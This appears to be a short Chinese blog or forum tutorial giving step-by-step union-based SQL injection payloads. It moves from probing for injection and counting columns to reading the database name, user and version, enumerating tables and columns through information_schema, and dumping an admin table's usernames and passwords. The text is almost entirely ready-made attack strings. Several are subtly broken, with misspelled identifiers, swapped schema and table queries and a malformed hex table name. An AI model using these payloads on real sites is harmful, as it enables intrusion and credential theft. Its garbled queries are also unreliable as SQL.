sql注入的步骤:
1.首先观察网站是通过GET还是POST方式传输数据的:
a.如果是GET传输,则在url中输入?id=1' 或者 " 或者 ') 来测试是否存在sql注入。
b.如果是POST传输,则在输入框中输入?id=1' 或者 " 或者 ') 来测试是否存在sql注入。
2.测试完成发现存在注入,进行注入,先测试有多少表单:
a.?id=1 order by *(*数字为数字)进行测试,
3.测试完表单,进行表单查询:
a.?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
(得到回显的表单)
4.测完回显的数据,就可以进行查询了:
a.查询当前数据库:?id=1 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+
b.查询用户名:?id=1 and 1=2 union select 1,2,user() ,4,5,6,7,8,9,10,11,12,13,14,15 --+
c.查询数据库版本:?id=1 and 1=2 union select 1,2,version() ,4,5,6,7,8,9,10,11,12,13,14,15 --+
d.查询全文件位置:?id=1 and 1=2 union select 1,2,@@datadir,4,5,6,7,8,9,10,11,12,13,14,15 --+
5.得到以上数据,进行全局查询:
a.查询数据库:?id=1 and 1=2 union select 1,2,group_concat(convert(tabal_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA
b.查询数据库表:?id=1 and 1=2 union select 1,2,group_concat(convert(SCHEMA_HAME using
latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tabales where table _schema=database() (查询database()中的表)
c.查询数据表中的列:?id=1 and 1=2 union select 1,2,group_concat(convert(column_name using
latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table _name=0x636D735F75736557273(CMS USER) # 表名需要编码为16进制
d.查询管理员账号和密码:?id= 1 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users
网友评论